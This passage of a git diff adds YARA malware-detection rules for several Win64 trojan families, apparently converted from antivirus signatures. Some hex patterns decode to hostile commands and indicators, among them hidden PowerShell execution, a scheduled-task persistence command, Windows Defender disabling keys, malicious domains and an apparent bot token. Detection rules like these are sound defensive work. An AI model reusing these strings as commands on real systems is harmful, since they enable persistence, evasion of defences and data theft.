?? ?? ?? 48 8b 94 24 ?? ?? ?? ?? 48 03 d1 48 8b ca 88 01 48 8b 84 24 ?? ?? ?? ?? 48 8b 8c 24 ?? ?? ?? ?? 48 03 c8 48 8b c1 0f b6 00 83 c0 12 48 8b 8c 24 ?? ?? ?? ?? 48 8b 94 24 ?? ?? ?? ?? 48 03 d1 48 8b ca 88 01 90 13 48 8b 84 24 ?? ?? ?? ?? 48 ff c0 48 89 84 24 ?? ?? ?? ?? 48 81 bc 24 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GVD_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GVD_MTB.yar new file mode 100644 index 0000000000..3fa31b94f6 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GVD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Lazy_GVD_MTB{ + meta: + description = "Trojan:Win64/Lazy.GVD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_02_0 = {48 03 d1 48 8b ca 0f b6 09 33 c8 8b c1 48 ?? 8c 24 [0-05] 48 8b 94 24 ?? ?? ?? ?? 48 03 d1 48 8b ca 88 01 } //2 + $a_02_1 = {48 03 d1 48 8b ca 0f b6 09 03 c8 8b c1 48 ?? 8c 24 [0-05] 48 8b 94 24 ?? ?? ?? ?? 48 03 d1 48 8b ca 88 01 e9 } //1 + condition: + ((#a_02_0 & 1)*2+(#a_02_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GZF_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GZF_MTB.yar new file mode 100644 index 0000000000..9e1a6c4acf --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GZF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Lazy_GZF_MTB{ + meta: + description = "Trojan:Win64/Lazy.GZF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_01_0 = {80 74 24 21 36 80 74 24 22 37 80 74 24 23 38 80 74 24 24 39 80 74 24 25 3a 80 74 24 26 3b 80 74 24 27 3c 66 89 4c 24 28 80 f1 3d 80 74 24 29 3e 34 3f c6 44 24 20 31 88 44 24 2a 48 8d 44 24 20 88 4c 24 28 0f 1f 44 00 00 49 ff c0 42 80 3c 00 00 } //10 + condition: + ((#a_01_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GZP_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GZP_MTB.yar new file mode 100644 index 0000000000..1d00a57f0c --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GZP_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Lazy_GZP_MTB{ + meta: + description = "Trojan:Win64/Lazy.GZP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 00 " + + strings : + $a_01_0 = {80 74 24 21 35 80 74 24 22 36 80 74 24 23 37 80 74 24 24 38 80 74 24 25 39 80 74 24 26 3a 80 74 24 27 3b 66 89 4c 24 28 80 f1 3c 80 74 24 29 3d 34 3e c6 44 24 20 6c 88 44 24 2a 48 8d 44 24 20 88 4c 24 28 0f 1f 44 00 00 49 ff c0 42 80 3c 00 00 } //10 + $a_01_1 = {80 74 24 21 36 80 74 24 22 37 80 74 24 23 38 80 74 24 24 39 80 74 24 25 3a 80 74 24 26 3b 80 74 24 27 3c 66 89 4c 24 28 80 f1 3d 80 74 24 29 3e 34 3f c6 44 24 20 6c 88 44 24 2a 48 8d 44 24 20 88 4c 24 28 0f 1f 44 00 00 49 ff c0 42 80 3c 00 00 } //10 + $a_01_2 = {80 74 24 21 39 80 74 24 22 3a 80 74 24 23 3b 80 74 24 24 3c 80 74 24 25 3d 80 74 24 26 3e 80 74 24 27 3f 66 89 4c 24 28 80 f1 40 80 74 24 29 41 34 42 c6 44 24 20 6c 88 44 24 2a 48 8d 44 24 20 88 4c 24 28 0f 1f 44 00 00 49 ff c0 42 80 3c 00 00 } //10 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GZZ_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GZZ_MTB.yar index 43b7881193..118008aa18 100644 --- a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GZZ_MTB.yar +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_GZZ_MTB.yar @@ -8,4 +8,14 @@ rule Trojan_Win64_Lazy_GZZ_MTB{ condition: ((#a_01_0 & 1)*10) >=10 +} +rule Trojan_Win64_Lazy_GZZ_MTB_2{ + meta: + description = "Trojan:Win64/Lazy.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_01_0 = {80 74 24 21 39 80 74 24 22 3a 80 74 24 23 3b 80 74 24 24 3c 80 74 24 25 3d 80 74 24 26 3e 80 74 24 27 3f 66 89 4c 24 28 80 f1 40 80 74 24 29 41 34 42 c6 44 24 20 58 88 44 24 2a 48 8d 44 24 20 88 4c 24 28 0f 1f 44 00 00 49 ff c0 42 80 3c 00 00 } //10 + condition: + ((#a_01_0 & 1)*10) >=10 + } \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_KAB_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_KAB_MTB.yar new file mode 100644 index 0000000000..64548d5fe8 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_KAB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Lazy_KAB_MTB{ + meta: + description = "Trojan:Win64/Lazy.KAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 03 00 00 " + + strings : + $a_01_0 = {49 8b 42 08 41 ff c1 48 d3 e8 41 03 c8 41 32 04 12 88 44 14 38 48 ff c2 83 f9 40 72 } //10 + $a_01_1 = {4e 8d 0c 01 48 2b d1 49 ff c9 42 8a 04 0a 41 88 01 49 83 e8 01 75 } //8 + $a_01_2 = {43 0f be 0c 02 49 ff c0 83 c1 20 48 63 d1 48 0f af d0 49 33 d1 48 33 c2 4d 3b c1 7c } //7 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*8+(#a_01_2 & 1)*7) >=25 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_KKA_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_KKA_MTB.yar new file mode 100644 index 0000000000..5f1913caa1 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_KKA_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_Lazy_KKA_MTB{ + meta: + description = "Trojan:Win64/Lazy.KKA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 04 00 00 " + + strings : + $a_03_0 = {89 41 04 b8 00 08 00 00 41 2b c0 c1 e8 05 66 41 03 c0 66 41 89 02 33 c0 eb ?? 44 2b c8 2b d0 41 8b c0 44 89 49 04 c1 e8 05 66 44 2b c0 89 11 66 45 89 02 } //8 + $a_01_1 = {48 8b fa 41 c1 e2 08 44 0b d0 0f b6 41 02 41 c1 e2 08 44 0b d0 0f b6 41 01 41 c1 e2 08 b9 00 10 00 00 44 0b d0 48 8b 44 24 28 44 89 10 44 3b d1 } //7 + $a_01_2 = {41 8b c8 48 8d 7d 00 66 f3 ab 41 0f b7 c2 48 8d 7d a0 41 8b c9 66 f3 ab 41 0f b7 c2 48 8d 7d b8 41 8b c9 66 f3 ab 41 8b c8 41 0f b7 c2 48 8d bd 80 01 00 00 66 f3 ab } //5 + $a_01_3 = {63 72 61 63 6b 6d 79 2e 61 70 70 2f } //10 crackmy.app/ + condition: + ((#a_03_0 & 1)*8+(#a_01_1 & 1)*7+(#a_01_2 & 1)*5+(#a_01_3 & 1)*10) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_KKC_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_KKC_MTB.yar new file mode 100644 index 0000000000..68a45b4fda --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_KKC_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Lazy_KKC_MTB{ + meta: + description = "Trojan:Win64/Lazy.KKC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 00 " + + strings : + $a_01_0 = {48 f7 d9 48 89 54 24 70 4c 8b e2 44 8a 24 01 44 88 20 49 03 c3 44 89 a5 68 0f 00 00 83 c7 ff 75 } //20 + $a_01_1 = {48 8b fa 41 c1 e2 08 44 0b d0 0f b6 41 02 41 c1 e2 08 44 0b d0 0f b6 41 01 41 c1 e2 08 b9 00 10 00 00 44 0b d0 48 8b 44 24 28 } //10 + condition: + ((#a_01_0 & 1)*20+(#a_01_1 & 1)*10) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_LMD_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_LMD_MTB.yar new file mode 100644 index 0000000000..888caa0c52 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_LMD_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Lazy_LMD_MTB{ + meta: + description = "Trojan:Win64/Lazy.LMD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 02 00 00 " + + strings : + $a_03_0 = {48 8d 3d 0f 97 04 00 67 8d 04 09 48 8d 3c c7 48 8b 77 08 48 8b 46 08 48 89 47 08 48 89 38 48 39 c7 75 1b b8 fe ff ff ff d3 c0 4c 8d ?? ?? ?? ?? ?? 41 21 04 90 90 75 } //15 + $a_03_1 = {48 8b 45 30 c6 00 20 48 83 c0 01 48 89 45 30 c6 00 78 48 83 c0 01 48 89 45 30 c6 00 20 48 83 c0 01 48 89 45 30 8b c6 48 c1 e0 09 48 8d ?? ?? ?? ?? ?? ?? 8b cf 48 03 c9 8b 0c c8 48 8b 55 30 } //10 + condition: + ((#a_03_0 & 1)*15+(#a_03_1 & 1)*10) >=25 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_MBZ_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_MBZ_MTB.yar new file mode 100644 index 0000000000..18529ef264 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_MBZ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Lazy_MBZ_MTB{ + meta: + description = "Trojan:Win64/Lazy.MBZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {73 63 68 74 61 73 6b 73 2e 65 78 65 20 2f 63 72 65 61 74 65 20 2f 74 6e 20 22 53 79 73 74 65 6d 48 65 6c 70 65 72 54 61 73 6b 22 20 2f 74 72 20 22 25 73 22 20 2f 73 63 20 6f 6e 6c 6f 67 6f 6e 20 2f 72 6c 20 48 49 47 48 45 53 54 20 2f 66 } //2 schtasks.exe /create /tn "SystemHelperTask" /tr "%s" /sc onlogon /rl HIGHEST /f + $a_01_1 = {70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 57 69 6e 64 6f 77 53 74 79 6c 65 20 48 69 64 64 65 6e 20 2d 45 6e 63 6f 64 65 64 43 6f 6d 6d 61 6e 64 20 25 73 } //1 powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand %s + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_MX_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_MX_MTB.yar new file mode 100644 index 0000000000..4a68eae96a --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_MX_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Lazy_MX_MTB{ + meta: + description = "Trojan:Win64/Lazy.MX!MTB,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 03 00 00 " + + strings : + $a_01_0 = {73 74 61 72 74 20 2f 6d 69 6e 20 63 6d 64 2e 65 78 65 20 2f 63 20 70 6f 77 65 72 73 68 65 6c 6c 20 2d 57 69 6e 64 6f 77 53 74 79 6c 65 20 48 69 64 64 65 6e } //1 start /min cmd.exe /c powershell -WindowStyle Hidden + $a_01_1 = {7a 65 74 6f 6c 61 63 73 2d 63 6c 6f 75 64 2e 74 6f 70 } //5 zetolacs-cloud.top + $a_01_2 = {74 65 78 74 70 75 62 73 68 69 65 72 73 2e 74 6f 70 } //5 textpubshiers.top + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*5+(#a_01_2 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_NL_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_NL_MTB.yar index 978d5cd4dd..61cdc5caad 100644 --- a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_NL_MTB.yar +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_NL_MTB.yar @@ -11,6 +11,17 @@ rule Trojan_Win64_Lazy_NL_MTB{ } rule Trojan_Win64_Lazy_NL_MTB_2{ + meta: + description = "Trojan:Win64/Lazy.NL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {48 83 c3 10 48 85 db 74 35 8b 4d 60 44 8b cf 44 89 74 24 28 4c 8b c6 ba 01 00 00 00 48 89 5c 24 20 ff 15 20 c1 01 00 33 ff 85 c0 75 39 48 8d 4b f0 81 39 dd } //2 + $a_01_1 = {33 c0 48 8b 4d 00 48 33 cd e8 bb 05 00 00 48 8b 5d 30 48 8b 75 38 48 8b 7d 40 4c 8b 6d 48 48 8d 65 10 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} +rule Trojan_Win64_Lazy_NL_MTB_3{ meta: description = "Trojan:Win64/Lazy.NL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -24,7 +35,7 @@ rule Trojan_Win64_Lazy_NL_MTB_2{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule Trojan_Win64_Lazy_NL_MTB_3{ +rule Trojan_Win64_Lazy_NL_MTB_4{ meta: description = "Trojan:Win64/Lazy.NL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_PAD_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_PAD_MTB.yar new file mode 100644 index 0000000000..c2881791e5 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_PAD_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_Lazy_PAD_MTB{ + meta: + description = "Trojan:Win64/Lazy.PAD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 00 " + + strings : + $a_01_0 = {48 8b 4d b8 0f b6 14 81 88 55 a0 0f b6 45 a1 44 0f b6 0c 81 44 88 4d a1 0f b6 45 a2 0f b6 34 81 40 88 75 a2 } //3 + $a_00_1 = {44 69 73 61 62 6c 65 52 65 61 6c 74 69 6d 65 4d 6f 6e 69 74 6f 72 69 6e 67 } //2 DisableRealtimeMonitoring + $a_00_2 = {44 69 73 61 62 6c 65 42 65 68 61 76 69 6f 72 4d 6f 6e 69 74 6f 72 69 6e 67 } //2 DisableBehaviorMonitoring + $a_00_3 = {44 69 73 61 62 6c 65 41 6e 74 69 53 70 79 77 61 72 65 } //2 DisableAntiSpyware + $a_00_4 = {53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 5c 45 78 63 6c 75 73 69 6f 6e 73 5c 50 61 74 68 73 } //1 SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths + condition: + ((#a_01_0 & 1)*3+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*2+(#a_00_4 & 1)*1) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_PGL_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_PGL_MTB.yar new file mode 100644 index 0000000000..89893e1ee9 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_PGL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Lazy_PGL_MTB{ + meta: + description = "Trojan:Win64/Lazy.PGL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {48 83 7d a0 07 48 8d 4d 88 4c 89 74 24 30 ba ?? ?? ?? ?? 48 0f 47 4d 88 45 33 c9 45 33 c0 c7 44 24 28 ?? ?? ?? ?? c7 44 24 20 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_PGY_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_PGY_MTB.yar new file mode 100644 index 0000000000..0da021e39b --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_PGY_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Lazy_PGY_MTB{ + meta: + description = "Trojan:Win64/Lazy.PGY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {2e 6d 61 6e 61 67 65 64 28 74 31 00 00 70 0b 00 00 76 31 00 00 64 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 } //1 + $a_01_1 = {68 79 64 72 61 74 65 64 10 9a 13 00 00 f0 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 } //4 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*4) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_PLV_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_PLV_MTB.yar new file mode 100644 index 0000000000..503bae5fb2 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_PLV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Lazy_PLV_MTB{ + meta: + description = "Trojan:Win64/Lazy.PLV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {31 d2 f7 f1 3d ab 10 f6 8f 0f 83 ?? ?? ?? ?? 48 8b 4d a8 8b 05 ?? ?? ?? ?? 31 d2 f7 35 7e 22 16 00 ba c0 cd 97 78 81 f2 43 ee 1d c9 09 d0 2d 17 c5 ec 6f 05 35 a7 e7 86 ba ed ca 60 fd 81 f2 fa 0f 8c 92 01 d0 25 31 15 d6 b4 48 83 f9 00 0f 94 c1 88 4d a7 3d 0e aa b9 ec 0f 83 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_SFD_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_SFD_MTB.yar new file mode 100644 index 0000000000..5d3c9bf26c --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_SFD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Lazy_SFD_MTB{ + meta: + description = "Trojan:Win64/Lazy.SFD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {43 0f b6 04 08 32 02 41 88 04 08 41 ff c2 49 ff c0 49 63 c2 48 3b 43 10 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_SXB_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_SXB_MTB.yar new file mode 100644 index 0000000000..0d8460a64f --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_SXB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Lazy_SXB_MTB{ + meta: + description = "Trojan:Win64/Lazy.SXB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,2d 00 2d 00 03 00 00 " + + strings : + $a_03_0 = {48 8b 85 00 07 00 00 48 8b 48 48 8b 85 c4 06 00 00 48 63 d0 48 89 d0 48 01 c0 48 01 d0 48 c1 e0 ?? 48 01 c8 48 8b 00 48 8b 95 c0 05 00 00 48 89 c1 e8 ?? ?? ?? ?? 85 c0 75 31 48 8b 85 00 07 00 00 48 8b 48 48 8b 85 c4 06 00 00 48 63 d0 48 89 d0 48 01 c0 48 01 d0 48 c1 e0 ?? 48 01 c8 48 8b 40 08 48 89 85 c8 06 00 00 eb 1d 83 85 c4 06 00 00 01 48 8b 85 00 07 00 00 8b 40 50 39 85 c4 06 00 00 } //20 + $a_03_1 = {89 c2 89 d1 b8 ?? ?? ?? ?? 48 0f af c1 48 c1 e8 20 c1 e8 0d 69 c8 ?? ?? ?? ?? 89 d0 29 c8 01 d8 89 85 18 05 00 00 8b 85 18 05 00 00 89 c1 } //15 + $a_03_2 = {48 63 d0 48 89 d0 48 01 c0 48 01 d0 48 c1 e0 03 48 83 e8 18 48 01 c1 48 8b 85 f0 04 00 00 48 8b 95 f8 04 00 00 48 89 01 48 89 51 08 48 8b 85 00 05 00 00 48 89 41 10 48 8b 95 ?? 05 00 00 48 8d 85 c0 00 00 00 49 89 d1 4c 8d 05 ?? ?? ?? ?? ba 00 01 00 00 48 89 c1 } //10 + condition: + ((#a_03_0 & 1)*20+(#a_03_1 & 1)*15+(#a_03_2 & 1)*10) >=45 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lazy/Trojan_Win64_Lazy_SX_MTB.yar b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_SX_MTB.yar new file mode 100644 index 0000000000..8977039d87 --- /dev/null +++ b/Trojan/Win64/Lazy/Trojan_Win64_Lazy_SX_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Lazy_SX_MTB{ + meta: + description = "Trojan:Win64/Lazy.SX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 00 " + + strings : + $a_03_0 = {48 8b 45 10 48 8b 48 48 8b 45 fc 48 63 d0 48 89 d0 48 01 c0 48 01 d0 48 c1 e0 03 48 01 c8 48 8b 00 48 8b 55 18 48 89 c1 e8 ?? ?? ?? ?? 85 c0 75 24 48 8b 45 10 48 8b 48 48 8b 45 fc 48 63 d0 48 89 d0 48 01 c0 48 01 d0 48 c1 e0 03 48 01 c8 48 8b 40 08 eb 19 } //20 + $a_03_1 = {8b 85 2c 04 00 00 48 98 0f b6 44 05 a0 0f b6 c8 8b 85 2c 04 00 00 01 c0 48 63 d0 48 8b 85 10 04 00 00 48 01 d0 41 89 c8 48 8d 15 ?? ?? ?? ?? 48 89 c1 e8 ?? ?? ?? ?? 83 85 2c 04 00 00 01 83 bd 2c 04 00 00 0f 7e } //10 + condition: + ((#a_03_0 & 1)*20+(#a_03_1 & 1)*10) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win64/Loodbot/Trojan_Win64_Loodbot_A.yar b/Trojan/Win64/Loodbot/Trojan_Win64_Loodbot_A.yar new file mode 100644 index 0000000000..930a7c9833 --- /dev/null +++ b/Trojan/Win64/Loodbot/Trojan_Win64_Loodbot_A.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_Loodbot_A{ + meta: + description = "Trojan:Win64/Loodbot.A,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 00 " + + strings : + $a_01_0 = {2b 76 24 78 2b 76 24 78 76 24 2b 78 76 2b 24 78 76 24 2b 78 2b 24 76 78 2b 24 76 78 24 76 2b 78 2b 24 76 78 24 2b 76 78 2b 76 } //2 +v$x+v$xv$+xv+$xv$+x+$vx+$vx$v+x+$vx$+vx+v + $a_01_1 = {76 32 2e 30 2e 35 30 37 32 37 00 00 00 00 00 00 76 34 2e 30 2e 33 30 33 31 39 00 00 00 00 00 00 53 79 73 74 65 6d 41 70 70 } //1 + $a_01_2 = {5c 5c 41 70 70 44 61 74 61 5c 5c 52 6f 61 6d 69 6e 67 5c 5c 47 61 70 69 63 5c 5c } //1 \\AppData\\Roaming\\Gapic\\ + $a_01_3 = {49 8b cd 48 83 f8 15 48 0f 45 c8 42 0f b6 04 31 30 02 48 8d 41 01 48 8d 52 01 49 83 e8 01 75 } //2 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*2) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lotok/Trojan_Win64_Lotok_NC_MTB.yar b/Trojan/Win64/Lotok/Trojan_Win64_Lotok_NC_MTB.yar new file mode 100644 index 0000000000..3f04ceb25d --- /dev/null +++ b/Trojan/Win64/Lotok/Trojan_Win64_Lotok_NC_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_Lotok_NC_MTB{ + meta: + description = "Trojan:Win64/Lotok.NC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {38 31 35 34 39 33 38 39 33 39 3a 41 41 46 76 32 32 6d 41 55 57 59 6b 39 79 41 76 6f 64 48 55 4e 68 44 4f 62 43 31 79 62 5a 6b 4b 58 41 51 } //2 8154938939:AAFv22mAUWYk9yAvodHUNhDObC1ybZkKXAQ + $a_01_1 = {63 75 72 6c 20 2d 73 20 69 66 63 6f 6e 66 69 67 2e 6d 65 20 3e 20 69 70 2e 74 78 74 } //1 curl -s ifconfig.me > ip.txt + $a_01_2 = {53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e } //1 Software\Microsoft\Windows\CurrentVersion\Run + $a_01_3 = {4d 79 41 75 74 6f 53 74 61 72 74 41 70 70 } //1 MyAutoStartApp + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LovGate/Trojan_Win64_LovGate_CCJX_MTB.yar b/Trojan/Win64/LovGate/Trojan_Win64_LovGate_CCJX_MTB.yar new file mode 100644 index 0000000000..8ae9110f38 --- /dev/null +++ b/Trojan/Win64/LovGate/Trojan_Win64_LovGate_CCJX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LovGate_CCJX_MTB{ + meta: + description = "Trojan:Win64/LovGate.CCJX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b7 4c 70 fe 89 ca c1 ea 08 31 ca 88 54 37 ff 48 83 fe 43 74 ?? 0f b7 0c 70 89 ca c1 ea 08 31 ca 88 14 37 48 83 c6 02 eb } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Lrodpmal/Trojan_Win64_Lrodpmal_A.yar b/Trojan/Win64/Lrodpmal/Trojan_Win64_Lrodpmal_A.yar new file mode 100644 index 0000000000..8ffc294daa --- /dev/null +++ b/Trojan/Win64/Lrodpmal/Trojan_Win64_Lrodpmal_A.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_Lrodpmal_A{ + meta: + description = "Trojan:Win64/Lrodpmal.A,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_03_0 = {83 c1 01 89 4d ?? 8b 55 ?? 83 c2 04 89 55 } //1 + $a_01_1 = {8b 4d 64 8b 11 03 55 08 8b 45 64 89 10 eb } //1 + $a_01_2 = {8b 45 6c 8b 48 2c 8b 55 60 66 0f be 04 11 8b 4d 60 8b 55 48 66 89 04 4a 8b 45 60 83 c0 01 89 45 60 eb cc } //1 + $a_01_3 = {50 6c 75 70 72 6f 75 6c 64 65 65 67 2e 6f 72 6c 6f } //1 Pluprouldeeg.orlo + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/LucisBlanks/Trojan_Win64_LucisBlanks_AA.yar b/Trojan/Win64/LucisBlanks/Trojan_Win64_LucisBlanks_AA.yar new file mode 100644 index 0000000000..c2e3fc6f35 --- /dev/null +++ b/Trojan/Win64/LucisBlanks/Trojan_Win64_LucisBlanks_AA.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_LucisBlanks_AA{ + meta: + description = 